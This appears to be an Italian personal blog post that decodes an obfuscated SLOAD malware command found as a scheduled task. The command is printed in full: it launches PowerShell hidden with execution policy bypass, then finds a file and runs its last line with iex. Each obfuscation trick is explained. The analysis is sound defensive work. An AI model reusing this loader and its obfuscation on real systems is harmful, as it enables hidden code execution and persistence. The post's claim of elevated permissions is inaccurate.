venerdì 26 luglio 2019

Malware in powershell - SLOAD Powershell threat


Oggi mi sono imbattuto in un virus che mi ha leggermente incuriosito.
Nel task manager era schedulato un job che esegue il seguente comando.
Il sintomo è che durante l'utilizzo del PC, ogni due minuti appariva un prompt dei comandi che eseguiva taskeng.

C:\Windows\system32\cmd.exe /c pow%tmp:~5,3%hell /ep bypass /win 1 /c "&{cd %public:~-15,9%;$y=ls -force -r -in comu*.*|select -last 1;$y=gc -LiteralPath $y|select -last 1;iex $y}"

Mi ha incuriosito perche di primo acchito non ho capito pressoché nulla, cosi ho pensato di tradurlo...

Chiariti un paio di dettagli diventa leggermente piu facile interpretarlo:

Parametri Powershell. E possible avviare powershell usando una serie di parametri. Nel nostro caso:

/ep bypass = imposta l'execution policy dello script in bypass per poter eseguire i comandi seguenti senza restrizioni (-ExecutionPolicy | -ex | -ep)

/win 1 = imposta la modalita della finestra windowstyle (Valid values are Normal, Minimized, Maximized and Hidden)

/c Esegue una comando

Molti comandi in powershell possono essere abbreviati usando degli alias:
ls = get-childitem
gc = get-content
iex = invoke-expression

Per visualizzare il contenuto di una variabile basta aprire un prompt dei comandi ed usare il comando echo.
ES:
echo %tmp:~5,3% = "ers" (leggi la variabile %tmp%, e di questa, partendo dal quinto carattere,
prendi i primi tre consecutivi.

%tmp% = C:\Users\xxxxxxx\AppData\Local\Temp
%tmp:~5,3% (leggi tre caratteri partendo dal quinto carattere della variabile %tmp%)

echo %public:~-15,9% = "C:\Users"

In sintesi il comando apre una powershell con permessi elevati e senza limitazioni ed esegue un comando scritto in un file

TRADUZIONE

C:\Windows\system32\cmd.exe /c = apri un prompt dei comandi ed esegui quanto segue

pow%tmp:~5,3%hell  =  dalla variabile %tmp% leggi tre caratteri partendo dal quinto. Corrisponde alla string "ers"
/c "&{cd %public:~-15,9%;$y=ls -force -r -in comu*.*|select -last 1;$y=gc -LiteralPath $y|select -last 1;iex $y}" (esegue un comando)

cd %public:~-15,9% = cd c:\Users
$y=ls -force -r -in comu*.*|select -last 1
  •   cerca nella cartella c:\users e rispettive sottocartelle tutti i file che iniziano per comu*.* e  seleziona l'ultimo

 $y=gc -LiteralPath $y|select -last 1
  • del file selezionato legge tutte le righe una ad una e seleziona l'ultima. Literlpath e' un parametro che  impedisce l'interpretazione   dei caratteri speciali.
                              ES: se %zzz% = "ciao"
                              No literal path c:\%zzz%mondo = c:\ciaomondo
                              Literal path c:\%zzz%mondo = c:\%zzz%mondo

iex $y

  • esegue il comando $y
Direi che manca ancora qualche pezzo da mettere insieme...


RIFERIMENTI
https://security.stackexchange.com/questions/213942/undetected-trojan-what-type-of-scheduled-task-is-this/213950
https://www.bleepingcomputer.com/forums/t/701329/undetected-trojan/
https://docs.microsoft.com/it-it/powershell/module/Microsoft.PowerShell.Core/About/about_pwsh?view=powershell-6
https://docs.microsoft.com/it-it/powershell/module/Microsoft.PowerShell.Core/About/about_PowerShell_exe?view=powershell-5.1
https://blog.yoroi.company/research/the-sload-powershell-threat-is-expanding-to-italy/


Nessun commento:

Posta un commento